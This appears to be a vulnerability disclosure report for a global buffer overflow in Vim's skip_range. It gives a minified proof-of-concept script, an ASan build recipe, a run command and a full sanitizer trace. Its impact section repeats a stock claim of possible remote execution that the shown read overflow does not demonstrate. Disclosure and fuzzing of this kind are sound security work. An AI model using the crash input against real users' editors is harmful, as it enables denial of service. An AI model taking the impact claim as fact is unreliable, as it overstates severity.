global heap buffer overflow in skip_range in vim/vim
Reported on
Apr 13th 2022
✍️ Description
When fuzzing vim commit f420ff244
v8.2.4747 with clang 13 and ASan, I discovered a global buffer overflow.
Proof of Concept
Here is the minified poc
r<sfile>
0norm0V:^[
How to build
LD=lld AS=llvm-as AR=llvm-ar RANLIB=llvm-ranlib CC=clang CXX=clang++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-ldl -fsanitize=address" ./configure --with-features=huge --enable-gui=none
make -j$(nproc)
Proof of Concept
Run crafted file with this command
./vim -u NONE -X -Z -e -s -S poc_skip_range_min -c :qa!
ASan stack trace:
aldo@vps:~/vim/src$ ASAN_OPTIONS=symbolize=1 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer ./vim -u NONE -X -Z -e -s -S poc_skip_range_min -c :qa!
=================================================================
==3301533==ERROR: AddressSanitizer: global-buffer-overflow on address 0x000000f3489b at pc 0x0000006dcf37 bp 0x7fffffff5b90 sp 0x7fffffff5b88
READ of size 1 at 0x000000f3489b thread T0
#0 0x6dcf36 in skip_range /home/aldo/vimtes/src/ex_docmd.c:4039:62
#1 0x6ce745 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:1826:11
#2 0x6c93f2 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:992:17
#3 0x914a95 in nv_colon /home/aldo/vimtes/src/normal.c:3191:19
#4 0x8f7ced in normal_cmd /home/aldo/vimtes/src/normal.c:930:5
#5 0x6fa35d in exec_normal /home/aldo/vimtes/src/ex_docmd.c:8730:6
#6 0x6f9f63 in exec_normal_cmd /home/aldo/vimtes/src/ex_docmd.c:8693:5
#7 0x6f9cc3 in ex_normal /home/aldo/vimtes/src/ex_docmd.c:8611:6
#8 0x6d56c2 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2567:2
#9 0x6c93f2 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:992:17
#10 0xafb875 in do_source_ext /home/aldo/vimtes/src/scriptfile.c:1665:5
#11 0xaf92c0 in do_source /home/aldo/vimtes/src/scriptfile.c:1791:12
#12 0xaf8df9 in cmd_source /home/aldo/vimtes/src/scriptfile.c:1165:14
#13 0xaf88dd in ex_source /home/aldo/vimtes/src/scriptfile.c:1191:2
#14 0x6d56c2 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2567:2
#15 0x6c93f2 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:992:17
#16 0x6cc680 in do_cmdline_cmd /home/aldo/vimtes/src/ex_docmd.c:586:12
#17 0xed3ca4 in exe_commands /home/aldo/vimtes/src/main.c:3104:2
#18 0xed19d9 in vim_main2 /home/aldo/vimtes/src/main.c:780:2
#19 0xecb2c0 in main /home/aldo/vimtes/src/main.c:432:12
#20 0x7ffff78240b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16
#21 0x41edcd in _start (/home/aldo/vimtes/src/vim+0x41edcd)
0x000000f3489b is located 5 bytes to the left of global variable '<string literal>' defined in 'ex_docmd.c:2821:27' (0xf348a0) of size 2
'<string literal>' is ascii string '+'
0x000000f3489b is located 53 bytes to the right of global variable '<string literal>' defined in 'ex_docmd.c:2795:9' (0xf34860) of size 6
'<string literal>' is ascii string ''<,'>'
SUMMARY: AddressSanitizer: global-buffer-overflow /home/aldo/vimtes/src/ex_docmd.c:4039:62 in skip_range
Shadow bytes around the buggy address:
0x0000801de8c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000801de8d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000801de8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 f9
0x0000801de8f0: f9 f9 f9 f9 00 04 f9 f9 f9 f9 f9 f9 00 00 04 f9
0x0000801de900: f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9 06 f9 f9 f9
=>0x0000801de910: f9 f9 f9[f9]02 f9 f9 f9 f9 f9 f9 f9 00 02 f9 f9
0x0000801de920: f9 f9 f9 f9 00 03 f9 f9 f9 f9 f9 f9 07 f9 f9 f9
0x0000801de930: f9 f9 f9 f9 00 01 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
0x0000801de940: f9 f9 f9 f9 00 02 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
0x0000801de950: f9 f9 f9 f9 00 05 f9 f9 f9 f9 f9 f9 00 02 f9 f9
0x0000801de960: f9 f9 f9 f9 07 f9 f9 f9 f9 f9 f9 f9 05 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3301533==ABORTING
💥 Impact
This vulnerability is capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution
Impact
This vulnerability is capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution
Note that the ^[ in the POC is actually an ESC character. That way I can reproduce the bug.